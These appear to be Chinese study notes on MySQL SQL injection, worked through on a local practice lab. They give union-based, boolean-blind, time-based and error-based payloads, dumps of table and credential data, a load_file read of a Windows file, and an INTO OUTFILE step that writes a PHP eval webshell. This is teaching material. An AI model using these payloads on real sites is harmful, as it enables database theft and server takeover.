sql漏洞

select * from users where id=1' 此 SQL 语句不符合语法规则就会报错。

You have an error in your SQL syntax; check the manual that corresponds

to your MySQL server version for the right syntax to use near ''' at line 1 

当用户传入参数为 1 and 1=1 时 select * from users where id=1 and 1=1 因为 1=1 为真

id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。 如果用户传入参数为 1 and 1=2 时

因为 1=2 为假 id=1 为真 and 两边有一个为假，所以页面返回与 id=1 不一样的结果。

由此可以初步判断存在 SQL 注入漏洞，攻击者可以进一步拼接  

id=1 and 1=1

id=1 and 1=2

id=1 or 1=1

id='1' or '1' = '1'

id="1" or "1" = "1"

sql注释符

 # 单行注释 url 编码 %23

/*  */ 多行注释 /**/当空格用

--"空格" 单行注释

--+ 也可以

是否存在注入判断注入的类型是什么

判断字段数 order by

确定回显点 union select 1,2

查询数据库信息 @@version @@datadir

查询用户名，数据库名 user() database()

文件读取 union select 1,load_file('C:\\wondows\\win.ini')#

写入 webshell select..into outfile...

补充一点，使用 sql 注入遇到转义字符串的单引号或者双引号，可使用 HEX 编码绕过

?id=1' order by 1 %23  --返回正常

?id=1' order by 2 %23  -- 返回正常

?id=1' order by 3 %23  --返回正常

?id=1' order by 4 %23  -- 返回错误

三个字段

?id=-1' union select 1,2,3 %23

#看哪个字段可以显示信息，利用它获取数据库信息

获取数据库信息

?id=-1' union select 1,concat_ws(user(),database(),version(),@@datadir,@@version_compile_os),3 %23

databaes()

user() #获取数据库用户名

version() #获取数据库版本

@@datadir #获取数据库路径

@@version_conpile_os #获取操作系统版本

Your Login name:

?id=-1' union select 1,database(),3 %23

security #数据库名

（5.7.26） #数据库版本

（root@localhost） #数据库用户名

（D:\Everyday-tools\phpstudy_pro\Extensions\MySQL5.7.26\data\root@localhost）#数据库路径

Win64 #操作系统版本

Your Password:3

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23

#查询单个 改变limit 0,1 前面的数即可查询其他表例如 limit 1,1 limit 2,1

另一种查询全部

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

group_concat #分组查询结果，隔开

emails,referers,uagents,users

?id=-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_schema=database() and table_name = "users" %23

Your Login name:2

Your Password:id,username,password #列名

?id=-1' union select 1,2,group_concat(username,password ) from users %23

#查询 users 表里的 username 和 password

Your Login name:2

Your Password:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,

supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,

dhakkandumbo,admin4admin4

三个条件：

1.具有root权限。

2.在数据库配置文件中的 配置项含有：secure_file_priv=''。

（注意在数据库中此项默认为secure_file_priv=null）。

secure_file_prive=null // 限制 mysqld 不允许导入导出

secure_file_priv=/path/  // 限制 mysqld 的导入导出只能发生在默认的 /path/ 目录下

secure_file_priv=’’  // 不对 mysqld 的导入 导出做限制

3.知道数据库的绝对路径。

outfile函数可以导出多行，而dumpfile只能导出一行数据

outfile函数在将数据写到文件里时有特殊的格式转换，而dumpfile则保持原数据格式

?id=1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "D:\\Everyday-tools\\phpstudy_pro\\WWW\\www.sql.cn\\shell8.php" %23

判断整数还是字符型

?id=1'

判断有没有注入

?id=1' and 1=2 %23 报错

判断字段数

?id=1' order by 1 %23

?id=1' order by 2 %23

?id=1' order by 3 %23

?id=1' order by 4 %23 报错

字段三个

爆数据库长度

length（）返回字符串长度

如果数据库长度大于等于表达式后面的数就返回正常 报错前面的那个数就是数据库长度

?id=1'%20 and length(database())>=4 %23 正常

?id=1'%20 and length(database())>=6 %23 正常

?id=1'%20 and length(database())>=7 %23 正常

?id=1'%20 and length(database())>=8 %23 正常

?id=1'%20 and length(database())>=9 %23 报错

数据库长度9

爆数据库名

数据库名的范围一般在a~z、0~9之内，可能还会有特殊字符 "_"、"-" 等，这里的字母不区分大小写。

定义和用法

SUBSTR() 函数从字符串中提取子字符串（从任意位置开始）。

?id=1'%20 and substr(database(),1,1)="a" %23 报错

?id=1'%20 and substr(database(),1,1)="b" %23 报错

?id=1'%20 and substr(database(),1,1)="c" %23 报错

?id=1'%20 and substr(database(),1,1)="s" %23 正常

第一个字符为s

?id=1'%20 and substr(database(),2,1)="a" %23 报错

?id=1'%20 and substr(database(),2,1)="b" %23 报错

?id=1'%20 and substr(database(),2,1)="c" %23 报错

?id=1'%20 and substr(database(),2,1)="d" %23 报错

?id=1'%20 and substr(database(),2,1)="e" %23 正常

第二个字符为e替换2,1位置的2为3就可以爆破第三个字符以此类推爆出数据库名security

ASCII码查询

a 的ASCII码是97，在MySQL中使用ord函数转换ASCII，所以逐字符判断语句可改为：

ord(substr(database(),1,1))=97 %23

ASCII码表中可显示字符的范围是：0~127

爆表名

-- 修改 1,1 前边的 1~20，逐字符猜解出第一个表的名

-- 修改 limit 的 0,1 前边的 0~20，逐个猜解每个表

查询第一个表的第一个字符

?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="b" %23

报错

?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="c" %23

报错

?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="e" %23

正常

第一个表名emails,接着查第二个

?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 1,1 ),1,1)="e" %23

报错

?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 1,1 ),1,1)="r" %23

正常

以此类推爆破所有表

emails,referers,uagents,users

爆字段名

?id=1'%20 and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1 ),1,1)="r" %23

报错

?id=1'%20 and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1 ),1,1)="i" %23

正常

爆出所有字段名

id,username.password

爆数据

?id=1'%20 and substr((select username from users limit 0,1 ),1,1)="d" %23

正常

?id=1'%20 and substr((select username from users limit 0,1 ),2,1)="u" %23

正常

以此类推

可以用burp爆破功能爆破出所有数据

嫌弃太慢也可以写脚本或者用sqlmap

' and sleep(5) and 1=1--+	页面返回不正常，延时5秒

' and sleep(5) and 1=2--+	页面返回不正常，不延时

and if(length(database())>1,sleep(5),1)

--if (条件表达式，真，假) --C 语言的三目运算符类似

and if(substr(database(),1,1)='a',sleep(5),1)--+

下面是UPDATEXML()函数的语法：

UPDATEXML(xml_target, xpath_expr, new_val)

其中，xml_target是要修改的XML类型的数据；xpath_expr是XPath表达式，用

于指定要修改的节点位置；new_val指定新的节点值。

示例一：

假设数据表中有以下的XML类型的数据：

<book>

  <title>MySQL Basics</title>

  <author>John Doe</author>

  <price>19.99</price>

</book>

我们可以使用UPDATEXML()函数来修改一些节点的值：

UPDATE books

SET book = UPDATEXML(book, '/book/title', 'Learning MySQL')

WHERE id = 1;

上面的语句将会把表中id为1的记录的title节点的值修改为"Learning MySQL"。

示例二：

现在有以下的XML类型的数据：

<root>

  <message>

    <sender>Tom</sender>

    <receiver>Kate</receiver>

    <content>Hello, how are you?</content>

  </message>

</root>

我们可以使用UPDATEXML()函数来替换节点的值，比如将消息内容的值替换为新的内容：

UPDATE messages

SET msg = UPDATEXML(msg, '/root/message/content', 'I am fine, thank you.')

WHERE id = 1;

上面的语句将会把表中id为1的记录的content节点的值修改为"I am fine, thank you."。

--xpath 语法错误

extractvalue()	-- 查询节点内容

updatexml()		-- 修改查询到的内容

它们的第二个参数都要求是符合xpath语法的字符串

如果不满足要求则会报错，并且将查询结果放在报错信息里

-- 主键重复（duplicate entry）

floor()			-- 返回小于等于该值的最大整数

只要是count，rand()，group by 三个连用就会造成这种主键重复报错